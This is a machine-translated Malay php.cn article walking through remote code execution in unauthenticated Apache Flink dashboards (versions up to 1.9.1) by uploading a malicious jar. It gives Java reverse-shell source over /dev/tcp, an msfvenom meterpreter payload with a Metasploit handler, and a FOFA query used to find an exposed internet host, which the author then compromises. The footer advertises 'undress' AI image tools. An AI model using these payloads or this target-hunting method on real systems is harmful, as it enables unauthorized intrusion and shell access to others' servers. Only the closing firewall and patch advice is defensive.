Jadual Kandungan
Persediaan persekitaran:
Ulangan kerentanan:
Rumah Operasi dan penyelenggaraan Keselamatan Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink

Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink

May 15, 2023 pm 01:01 PM
flink bungkusan balang

Perihalan kerentanan:

Pada 11 November 2019, jurutera keselamatan Henry Chen mendedahkan kelemahan yang membolehkan Apache Flink memuat naik pakej balang tanpa kebenaran, yang membawa kepada pelaksanaan kod jauh. Memandangkan Papan Pemuka Apache Flink boleh diakses tanpa pengesahan secara lalai, shell boleh diperolehi dengan memuat naik pakej balang berniat jahat dan mencetuskan pelaksanaan kod berniat jahat.

Skop pengaruh

<= 1.9.1 (versi terkini)

Persediaan persekitaran:

(1) Pasang terlebih dahulu Java yang baik (memerlukan java8 atau lebih tinggi)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Muat turun flink-1.9.1

Alamat muat turun: https://www.apache .org/ dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) Nyahzip pakej termampat yang dimuat turun:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
Salin selepas log masuk

( 4) Pergi ke direktori nyahmampat dan pergi ke direktori binnya:

apache flink任意jar包上传导致远程代码执行的示例分析

(5) Mulakan kelipan:

./start-cluster.sh
Salin selepas log masuk

(6) Akses Penyemak Imbas pengesahan (port lalai ialah 8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

Gambar di atas muncul dan pembinaannya berjaya.

(7) Sediakan automula semasa but (Saya telah lama bergelut di sini, tetapi saya tidak boleh bangun. Sumber langsung /etc/rc.d/rc.local boleh bermula, tetapi flink tidak akan dimulakan selepas dimulakan semula, dan akhirnya menemui penyelesaian)

apache flink任意jar包上传导致远程代码执行的示例分析

Tetapan automula semasa but

Ulangan kerentanan:

Langkah pengeluaran pakej jar:

( 1) Rujuk artikel https://klionsec.github.io/2016/09/27/revese-shell/#menu untuk menggunakan java untuk melantun semula shell

apache flink任意jar包上传导致远程代码执行的示例分析

dan ingat untuk mengubah suai ip dan portnya:

apache flink任意jar包上传导致远程代码执行的示例分析

Kod:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>b. Kemudian pilih java-->Fail JAR boleh dijalankan</p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>c. Kemudian pilih projek java dan laluan eksport dan nama fail eksport </p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>Gambar</p>
<p>Ini menjana pakej balang untuk shell lantunan</p>
<p>msf menjana kuda balang:</p>
<p>(1) Gunakan msfvenom untuk jana kuda balang:</p>
<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
Salin selepas log masuk

(2) Buka modul mendengar msf, dan dengarkan port 9999 (untuk konsisten dengan port yang ditetapkan oleh kuda balang kami)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
Salin selepas log masuk


(3) Selepas memuat naik kuda balang yang kami hasilkan dan menyerahkannya (ini Sila rujuk pembiakan di bawah untuk beberapa operasi Anda boleh melihat bahawa kami berjaya menerima cengkerang: apache flink任意jar包上传导致远程代码执行的示例分析

apache flink任意jar包上传导致远程代码执行的示例分析

Penghasilan semula tempatan:

(1) Sasaran Lawati:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Klik Hantar kerja Baharu untuk membuka halaman untuk memuat naik pakej balang:

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Klik Tambah Baharu untuk memilih pakej balang yang kami buat:

apache flink任意jar包上传导致远程代码执行的示例分析

( 4) Pantau port pada mesin kami (pakej balang yang kami buat terus melantunkan shell)

(5) Klik pada pakej balang yang baru kami muat naik:

apache flink任意jar包上传导致远程代码执行的示例分析

(6) Kemudian klik Hantar, anda dapat melihat bahawa kami telah berjaya menerima shell:

apache flink任意jar包上传导致远程代码执行的示例分析

Tapak Internet:

kata kunci fofa:

"apache-flink-dashboard" && country="AS"

apache flink任意jar包上传导致远程代码执行的示例分析

(1) Cari sasaran rawak:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Klik Hantar Kerja baharu, anda boleh lihat ia membenarkan kami memuat naik pakej balang

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Gunakan fungsi flink untuk memuat naik pakej balang untuk memuat naik pakej balang kami:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) Selepas memuat naik, kami Pantau port pada vps

(5) Kemudian kembali ke penyemak imbas, pilih pakej balang yang baru kami muat naik, dan klik Serah Anda dapat melihat bahawa vps kami telah berjaya menerima shell

apache flink任意jar包上传导致远程代码执行的示例分析

Pembetulan kerentanan:

Adalah disyorkan untuk menetapkan dasar tembok api untuk hanya membenarkan IP senarai putih mengakses perkhidmatan apache flink dan menambahkannya pada proksi web ( seperti apache httpd) Pengesahan ringkasan perkhidmatan.

Sentiasa perhatikan laman web rasmi dan tunggu versi baharu atau kemas kini tampalan

Atas ialah kandungan terperinci Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

AI Hentai Generator

AI Hentai Generator

Menjana ai hentai secara percuma.

Artikel Panas

R.E.P.O. Kristal tenaga dijelaskan dan apa yang mereka lakukan (kristal kuning)
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Tetapan grafik terbaik
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Cara Memperbaiki Audio Jika anda tidak dapat mendengar sesiapa
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Arahan sembang dan cara menggunakannya
1 bulan yang lalu By 尊渡假赌尊渡假赌尊渡假赌

Alat panas

Notepad++7.3.1

Notepad++7.3.1

Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6

Dreamweaver CS6

Alat pembangunan web visual

SublimeText3 versi Mac

SublimeText3 versi Mac

Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Bagaimana untuk mengimport pakej balang dalam eclipse Bagaimana untuk mengimport pakej balang dalam eclipse Jan 12, 2024 pm 03:45 PM

Cara mengimport pakej jar ke Eclipse: 1. Buat projek Java baharu 2. Buat folder perpustakaan 3. Salin pakej jar ke folder perpustakaan; membina laluan ; 6. Mengkonfigurasi laluan binaan projek; Pengenalan terperinci: 1. Buat projek Java baharu, mulakan Eclipse IDE, pilih menu "Fail" dalam bar menu atas, dsb.

Bagaimana untuk mengimport pakej balang dalam maven Bagaimana untuk mengimport pakej balang dalam maven Jan 08, 2024 pm 01:59 PM

Langkah-langkah untuk maven untuk mengimport pakej jar: 1. Muat turun pakej jar 2. Buat projek Maven 3. Tambah dependensi 5. Simpan fail pom.xml; 7. Sahkan import. Pengenalan terperinci: 1. Muat turun pakej balang mula-mula muat turun pakej balang yang diperlukan dari tapak web atau gudang kod sumber yang berkaitan Pastikan pakej balang yang dimuat turun serasi dengan projek anda dan memenuhi keperluan versi yang diperlukan . Jika belum ada projek Maven, anda perlu menciptanya dahulu dan seterusnya.

Perbandingan antara Spark Streaming dan Flink Perbandingan antara Spark Streaming dan Flink Apr 19, 2024 pm 12:51 PM

SparkStreaming dan Flink adalah kedua-dua rangka kerja pemprosesan strim dengan ciri berbeza: Model pengaturcaraan: SparkStreaming adalah berdasarkan model SparkRDD, manakala Flink mempunyai API penstriman sendiri. Pengurusan negeri: Flink mempunyai pengurusan keadaan terbina dalam, manakala SparkStreaming memerlukan penyelesaian luaran. Toleransi kesalahan: Flink adalah berdasarkan syot kilat, manakala SparkStreaming adalah berdasarkan pusat pemeriksaan. Kebolehskalaan: Flink adalah berdasarkan rangkaian operator strim, manakala SparkStreaming adalah berdasarkan penskalaan kelompok. Dalam kes penggunaan pengagregatan data masa nyata, Flink secara amnya berprestasi lebih baik daripada SparkStreaming kerana ia memberikan daya pemprosesan yang lebih baik

Gunakan Flink dalam bahasa Go untuk mencapai pemprosesan aliran data yang cekap Gunakan Flink dalam bahasa Go untuk mencapai pemprosesan aliran data yang cekap Jun 15, 2023 pm 09:10 PM

Dengan kemunculan era data besar, pemprosesan data telah menjadi masalah yang perlu diberi perhatian dan diselesaikan dalam pelbagai industri. Sebagai alat pemprosesan data berprestasi tinggi, kemunculan Flink memberikan kami penyelesaian yang cekap, boleh dipercayai dan berskala. Dalam artikel ini, kami akan memperkenalkan cara menggunakan Flink dalam bahasa Go untuk mencapai pemprosesan aliran data yang cekap. 1. Pengenalan kepada Flink Apache Flink ialah platform pemprosesan data teragih sumber terbuka Matlamatnya adalah untuk menyediakan cara yang cekap, boleh dipercayai dan berskala untuk memproses data berskala besar.

Tutorial Lanjutan Maven: Penerokaan mendalam pelbagai kaedah import pakej Jar Tutorial Lanjutan Maven: Penerokaan mendalam pelbagai kaedah import pakej Jar Feb 23, 2024 pm 02:57 PM

Tajuk: Tutorial Lanjutan Maven: Penerokaan mendalam pelbagai kaedah import pakej Jar Sebagai alat pengurusan projek Java, Maven digunakan secara meluas dalam pembinaan projek, pengurusan pergantungan, dsb. Dalam proses pembangunan sebenar, kami sering menggunakan pakej Jar daripada pelbagai perpustakaan pihak ketiga, dan cara mengimport pakej Jar dengan berkesan telah menjadi kemahiran yang mesti dikuasai. Artikel ini akan menyelidiki kaedah mengimport pakej Jar dalam Maven, termasuk menggunakan pakej Jar tempatan, pakej Jar gudang jauh dan pakej Jar tersuai, dan memberikan butiran khusus.

Panduan penggunaan pakej MySQL Jar dan langkah berjaga-jaga Panduan penggunaan pakej MySQL Jar dan langkah berjaga-jaga Mar 01, 2024 pm 04:21 PM

Panduan penggunaan pakej MySQL Jar dan langkah berjaga-jaga MySQL ialah sistem pengurusan pangkalan data hubungan yang biasa digunakan Banyak projek Java menggunakan MySQL sebagai bahagian belakang untuk penyimpanan data. Dalam projek Java, untuk berinteraksi dengan pangkalan data MySQL, anda perlu menggunakan pemacu Java (iaitu pakej Jar) yang disediakan oleh MySQL. Artikel ini akan memperkenalkan garis panduan penggunaan dan langkah berjaga-jaga untuk pakej MySQL Jar, dan menyediakan contoh kod khusus untuk membantu pembaca menggunakan pemacu MySQL dengan lebih baik. 1. M

Panduan tentang cara mengimport pakej Jar ke dalam projek Maven dengan betul Panduan tentang cara mengimport pakej Jar ke dalam projek Maven dengan betul Feb 19, 2024 pm 12:00 PM

Panduan Bermula Maven: Bagaimana untuk mengimport pakej Jar dengan betul? Maven ialah alat pengurusan projek yang berkuasa yang boleh membantu pembangun mengurus kebergantungan projek, membina projek, dsb. Semasa pembangunan projek, kami selalunya perlu mengimport pakej Jar luaran untuk melaksanakan beberapa fungsi. Artikel ini akan memperkenalkan cara menggunakan Maven untuk mengimport pakej Jar dengan betul dan memberikan contoh kod khusus. Pertama, kita perlu menambah kebergantungan pada pakej Jar yang diperlukan dalam fail pom.xml Maven. Dalam pom.xml, terdapat a

Apakah pakej Jar MySQL? Analisis terperinci Apakah pakej Jar MySQL? Analisis terperinci Mar 01, 2024 pm 06:33 PM

Pakej Jar MySQL merujuk kepada pakej pemacu Java yang digunakan untuk menyambung dan mengendalikan pangkalan data MySQL. Dalam pembangunan Java, fungsi interaksi dengan pangkalan data MySQL perlu dilaksanakan melalui pakej Jar. Pakej Jar MySQL menyediakan satu siri kelas dan kaedah yang membolehkan pembangun menyambung dengan mudah ke pangkalan data MySQL, melaksanakan pernyataan SQL, mendapatkan hasil pertanyaan dan operasi lain. Dalam keadaan biasa, pembangun boleh memuat turun pakej MySQL Jar melalui tapak web rasmi atau repositori Maven dan saluran lain, dan kemudian

See all articles